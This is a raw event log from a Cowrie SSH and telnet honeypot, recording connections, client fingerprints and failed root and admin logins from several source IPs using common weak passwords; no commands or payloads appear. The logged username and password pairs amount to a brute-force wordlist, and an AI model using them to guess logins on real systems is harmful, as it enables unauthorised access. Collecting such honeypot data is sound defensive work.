{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:32.437194Z","src_ip":"91.92.42.227","session":"1074daf808b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58286,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ee955ab5f6","protocol":"ssh","message":"New connection: 91.92.42.227:58286 (10.17.0.5:22) [session: 02ee955ab5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:32.964460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:33.953977Z","src_ip":"91.92.42.227","session":"02ee955ab5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:33.956662Z","src_ip":"91.92.42.227","session":"02ee955ab5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:34.487878Z","src_ip":"91.92.42.227","session":"1074daf808b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37614,"dst_ip":"10.17.0.5","dst_port":22,"session":"b217906dba93","protocol":"ssh","message":"New connection: 91.92.42.227:37614 (10.17.0.5:22) [session: b217906dba93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:39.348731Z"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:39.605540Z","src_ip":"91.92.42.227","session":"02ee955ab5f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:40.466820Z","src_ip":"91.92.42.227","session":"b217906dba93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:40.469929Z","src_ip":"91.92.42.227","session":"b217906dba93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:41.991841Z","src_ip":"91.92.42.227","session":"02ee955ab5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c37c96dcca0","protocol":"telnet","message":"New connection: 102.37.220.188:35456 (159.203.135.109:23) [session: 0c37c96dcca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:43.097431Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40142,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa2f6265b2d","protocol":"ssh","message":"New connection: 147.45.199.80:40142 (159.203.135.109:22) [session: baa2f6265b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:43.723397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:43.727967Z","src_ip":"147.45.199.80","session":"baa2f6265b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:43.824576Z","src_ip":"147.45.199.80","session":"baa2f6265b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180882","message":"login attempt [root/180882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:44.117313Z","src_ip":"147.45.199.80","session":"baa2f6265b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:45.215834Z","src_ip":"147.45.199.80","session":"baa2f6265b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:46.342529Z","src_ip":"91.92.42.227","session":"b217906dba93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52390,"dst_ip":"10.17.0.5","dst_port":22,"session":"4310cbe1ff14","protocol":"ssh","message":"New connection: 91.92.42.227:52390 (10.17.0.5:22) [session: 4310cbe1ff14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:46.781117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:48.017322Z","src_ip":"91.92.42.227","session":"4310cbe1ff14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:48.020612Z","src_ip":"91.92.42.227","session":"4310cbe1ff14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:48.532988Z","src_ip":"91.92.42.227","session":"b217906dba93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:53.441942Z","src_ip":"91.92.42.227","session":"4310cbe1ff14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"53dd02b21c17","protocol":"ssh","message":"New connection: 91.92.42.227:52446 (10.17.0.5:22) [session: 53dd02b21c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:53.449364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:54.630316Z","src_ip":"91.92.42.227","session":"53dd02b21c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:54.633372Z","src_ip":"91.92.42.227","session":"53dd02b21c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34892,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e2b80c2f1fd","protocol":"ssh","message":"New connection: 77.94.47.83:34892 (10.17.0.5:22) [session: 3e2b80c2f1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:55.229474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:55.232500Z","src_ip":"77.94.47.83","session":"3e2b80c2f1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:55.343410Z","src_ip":"77.94.47.83","session":"3e2b80c2f1fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"223366","message":"login attempt [root/223366] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:55.673437Z","src_ip":"77.94.47.83","session":"3e2b80c2f1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:55.709885Z","src_ip":"91.92.42.227","session":"4310cbe1ff14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:56.786595Z","src_ip":"77.94.47.83","session":"3e2b80c2f1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55068,"dst_ip":"10.17.0.5","dst_port":22,"session":"905420c31e80","protocol":"ssh","message":"New connection: 91.92.42.227:55068 (10.17.0.5:22) [session: 905420c31e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:59.495002Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:00.555681Z","src_ip":"91.92.42.227","session":"53dd02b21c17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:01.344927Z","src_ip":"91.92.42.227","session":"905420c31e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:01.348588Z","src_ip":"91.92.42.227","session":"905420c31e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:02.821511Z","src_ip":"91.92.42.227","session":"53dd02b21c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:05.654417Z","src_ip":"91.92.42.227","session":"905420c31e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:07.436974Z","src_ip":"91.92.42.227","session":"905420c31e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47746,"dst_ip":"10.17.0.5","dst_port":22,"session":"af7bb558505f","protocol":"ssh","message":"New connection: 91.92.42.227:47746 (10.17.0.5:22) [session: af7bb558505f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:08.561620Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38040,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfefd6bb0297","protocol":"ssh","message":"New connection: 103.27.238.114:38040 (10.17.0.5:22) [session: bfefd6bb0297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:08.641209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:08.645385Z","src_ip":"103.27.238.114","session":"bfefd6bb0297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:08.907427Z","src_ip":"103.27.238.114","session":"bfefd6bb0297","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:09.159803Z","src_ip":"91.92.42.227","session":"af7bb558505f","protocol":"ssh"}
